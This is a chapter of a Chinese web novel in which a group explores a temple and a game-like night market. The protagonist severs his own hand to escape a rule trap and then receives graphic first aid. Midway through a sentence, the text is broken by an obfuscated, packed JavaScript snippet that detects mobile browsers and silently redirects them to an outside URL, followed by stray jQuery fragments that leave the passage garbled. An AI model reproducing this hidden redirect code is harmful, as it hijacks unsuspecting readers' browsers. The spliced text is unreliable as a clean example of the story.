万书库 > 都市小说 > 脑岛 > 32.不从
    待到其他人陆陆续续回来,江燎反倒成了所有人里最精神的那个,稍作休整后,他提议想要趁着太阳下山前,先去老船工所说的那个香火鼎盛的庙里转转。


    到了地方一看,庙倒是古朴祥和,一棵郁郁葱葱的巨树傲立院中,遒劲的枝条上系满了成千上万条的许愿红布条。


    新系的红布在茂密的绿叶间格外醒目,像跳动的火焰,和日晒中褪成浅粉、淡白的旧布纠缠在一起随风舞动,朝树下往来颠沛的人们热情招手。


    江燎伸手捋了几条仔细一看,哦豁,原来违和都在这儿等着呢。


    “愿用一生荤素搭配换考试顺利通过。”


    “能不能来点靠谱的队友救救段位。”


    “想求个全是BUG也能正常运行。”


    章路还在感叹这树这么大要千年起步了吧,听到江燎在树下念红布,好奇来看,也不禁边看边乐:


    “这条有人想上岸的旁边就是有人想下海,真是偏不遂人愿呀!”


    “命运弄人罢了,要是你的话想许什么愿呢?”


    “嗯……世界和平?”


    “这种会出门捡钱被退货吧?”江燎笑他,“那你要不要猜猜看岛主会许什么愿望?”


    “岛主的愿望也在这树上?”章路惊讶,赶忙又连着看了好几个,都觉得不像。


    “全是杂念还妄想六根清净,可惜美梦太大小庙装不下,还是等个大神来收吧!”江燎放开手中的红布,乐不可支。


    “燎哥你小点声……”章路紧张四处望,“别又把岛主骂出来了……”


    天色转暗,庙与夜市相距不远,一路上喜庆热闹,灯笼连成流光溢彩的长龙,映得整条街巷亮如白昼。锅碗瓢盆的碰撞声、小贩的吆喝声、孩童的笑闹声、看客的喝彩声,声浪滚滚,生机勃勃。


    刚出笼的包子冒着白汽,糖炒货在铁锅里尽情跃动,水果清新、烤肉焦香、甜酒醇馥直叫人食指大动。


    章路很快就把自己暂时没有头绪的失望和担忧抛在脑后,开始跟塔万一起到处凑热闹,挤在皮影戏的地方拉也拉不走。


    “幼稚。”江燎如此评价两人,一转头就被剑花缭乱的舞剑场子给勾走了。


    “瞧这、跟诗里一样!‘来如雷霆收震怒,罢如江海凝清光’,太妙了是不——”


    江燎忍不住想和人分享,左右一看,没人,不远处闵九游驻足古玩摊子、宋陵七摆弄油彩面具,顿感失望。


    片刻空白被从后面扑上来的人打断,江燎微怔,发现是塔万,见她高兴的脸红扑扑,不禁捏了捏:


    “看了什么这么高兴呀?”


    “是《抢功茅大战甩锅盾》燎哥!”章路笑的眼泪都出来了。


    江燎也是服了,感觉事情肯定没这么简单,走到距离稍微近些的面具摊前一看,宋陵七手里正拿着个分外眼熟的皮笑肉不笑的“微笑”表情。


    见是江燎,宋陵七将“流汗”和“再见”也并排摆出来,虚心请教:


    “师父,帮我看看哪个比较适合用来应付您?”


    “哪个也不合适,你赶紧放弃!”


    江燎扭头又去了闵九游那个摊子,一眼扫去全是槽点,挑挑拣拣一时间难以抉择,便拿起一个拍子问摊主:


    “这是什么玩意儿?皮制苍蝇拍?”


    摊主专业素质满分,热情为他介绍道:


    “这是‘向上管理’神拍,一拍传三代!骑马时用它拍马屁,保准节节高升,平步青云!”


    “……那这个呢?”江燎又拿起一个外表最正常的小炉。


    “根据前主人记载,只要加入名为‘咖啡’和‘保健’之物细细炼制,就能打通经脉,优化睡眠!”


    怪不得闵九游这小子走不动,这也太有节目了……


    江燎心道要是真这么看下去、估计看到明天早上也看不完,便拉来众人严肃提出要有正事的行动纲领,虽然本身最没正事不怎么服众,但总算推动了进度。


    溜达着来到了一个正在用“牛马市场”四个大字吸引八方来客的肉摊前,这摊主所卖之物属实引人好奇,众人因此停留下来。


    摊主像是知道顾客想问什么,往身后一指——大量木制的大口字格正整齐置于地上,每个格里都蜷蹲着一个人、还插着个‘个人简历’的标,大概十多个格子,也算是声势浩大。


    “这是屠夫吗,这不是猎头吗?”章路小声和其他人吐槽。


    “看这里看这里!走过路过别错过!”


    摊主一把破锣嗓子,将四个字的木牌子“唰”地一转,后面豁然写着“信息交易”,他啪啪拍了拍这四个字,豪迈推销道:


    “特别划算!解谜提示只用一只手就能换——”


    江燎本就被格子间里的“牛马”搞得微微蹙眉,听到“换”字的瞬间,当即对其他人一声厉喝:


    “别听!”


    “——子时回溯。”


    几人已经足够敏锐、立刻就要捂耳,然而毫无准备,却还是慢了一步!


    就在下一秒,以肉铺为圆心,大红色的灯笼通通被“腾”地爆燃而起的绿光吞噬!本来欢声笑语的人群霎时肃静,脸上五官尽去、只余下三个巨大的黑洞——与之前不同的是,这些“人”仿佛都已经被解除了限制,将江燎一行人围在中间,开始缓缓逼近!


    说时迟那时快,闵九游目光一凛,抓起案板上的骨刀就朝自己手上砍去,江燎正站在他左边,敏锐觉察,当即将他的执刀手向旁侧猛地一推,骨刀“当”的一声砍进案板中,映出了章路瞬间刷白的脸。


    江燎死死按住刀把,闵九游却不松手,江燎挣不过他,愁道:


    “你快先松手,我有办法不用你这样!”


    闵九游没动,包围圈却越缩越小。


    “你相信我,快点,时间不多!”江燎没有一丝一毫开玩笑的意思。


    闵九游缓缓挪开手,江燎怕他又砍,搡开他对摊主说:“操纵规则权限搞突袭,你影响游戏平衡了吧?”


    摊主脸下方似乎是嘴的位置,黑洞大大裂开,乐的前仰后合:


    “我先打预防针,后又送你提示,哪里影响平衡了?在这里我就是规则,已经很‘特殊照顾’了,要不你直接认输?”


    江燎也跟着笑,笑着笑着突然在任何人都没反应过来的瞬间,抓起骨刀,干脆利索就一刀剁在了自己的左手上——


    手起刀落的几秒钟漫长的叫人窒息,先白后红,断口处的死白喷涌出鲜血,溅在摊主笑声戛然而止的脸上!


    街面上的灯笼褪去绿光,人们惊恐逃窜,尖叫声此起彼伏!宋陵七眉头一跳,塔万暴起蹿向茫然的摊主,闵九游急欲看伤却怕她触发必杀,只得冲上前先拦——


    章路浑身颤抖但还是快速紧紧按压住江燎的断口,拉举过心脏,宋陵七拽下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17552867|202967||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    发带果断在江燎上臂紧绕!


    衣服的摩擦力太大,为了争分夺秒却也来不及弄掉,宋陵七竭力拉系,插入木簪,旋转绞紧——


    木制大口字格里的“牛马”们被这出其不意、血淋淋的一幕吓得哇哇乱叫,塔万几下子下去一般人都吃不消,直打得摊主惨叫连连、不知天地为何物,闵九游想要阻止,也被误伤了好几下。


    摊子掀倒,刀肉横飞,嚎叫声此起彼伏,场面乱作一团,江燎痛的快要晕厥,奈何动静太大,强撑着抬眼就见到这样混乱一幕,忍不住哈哈大笑、又痛的直叫:


    “哈哈哈哈哈、啊!……哎呦……好痛啊哈哈哈哈哈……嘶轻点要杀人吗……”


    “唉师父我已经很轻了。”宋陵七手上的力道和嘴里的话没有一丁点关系。


    明明受伤的是江燎,哭得很惨的却是章路:


    “燎哥!燎哥!燎哥!”


    “……别嚎了……还没起死呢……”江燎才想哭,冷汗淋漓,却又精神亢奋,絮絮道:


    “……我下手偏上了、问题不大……挺到子时回溯就行……”


    “那也还要大概三个小时。”宋陵七的白衣被染红,江燎的红衣却反而看不出。


    闵九游终于拉开塔万时,摊主已经有进气没出气了。


    蹲下确认江燎的紧急处理及时有效,闵九游拉住路人询问最近的医馆,听闻街头就是,便迅速就地取材找来大小适中的木板弄了个简易担架。


    江燎尽力配合着被小心翼翼的往担架上移动,不住喃喃口渴,声音却已经比之前虚弱了,他仿佛是觉得冷,浑身无法控制的剧烈发抖。


    等倒在了医馆的榻上,肾上腺素消退,江燎的意识时而模糊、时而清醒,呼吸短而急促。


    捕快找上门来了解情况,宋陵七从容上前交涉。捕快一看确如其他人说的那样,出手的是个女孩儿却几乎把人给打死,也不由得面面相觑。


    医师用剪刀从江燎肩膀剪开衣袖,用更宽、更结实的布带在原来发带的上方缠绕几圈又弄好木棒,算是备好了新的止血带,对严阵以待的闵九游说:


    “我数三下,你就绞紧……”


    闵九游高度配合完成了止血带的交接,医师这才慢慢拆除了原来的发带和木簪,确认伤口在新的止血带下状况良好,便开始给断面清创,章路来回换水不敢看盆底的碎骨,心惊肉跳。


    那摊主的家属来闹,被宋陵七训得哑口无言,摔坐在地上就开始大闹医馆。


    一时间家属耍赖声、捕快呵斥声搞得医馆乱糟糟,江燎受伤塔万本就窝火,现下被胡搅蛮缠恼得又欲发难,闵九游和章路这边情况刚刚稳定,不得已又奔向那边。


    医师厚厚撒好金创药,开始用干净的软布压力包扎,意识不清的江燎在痛感中短暂清醒,右手下意识在榻上抓挠却抬不起来,模模糊糊听到有人说:


    “撑什么,现在认输,马上就不疼了。”


    “……这么急……怕了?”江燎人为鱼肉,依旧不让刀俎占嘴上便宜。


    “你认输,我就给你剧透些只有我这儿才看得到的有趣东西如何?”


    “……和什么……有关……”江燎昏昏沉沉,虽然很感兴趣,但却也清醒不了太久了。


    “都这样了还想空手套白狼?”有人笑了:


    “当然和你想要的‘真’有关……睡了?那可就要算我赢了……”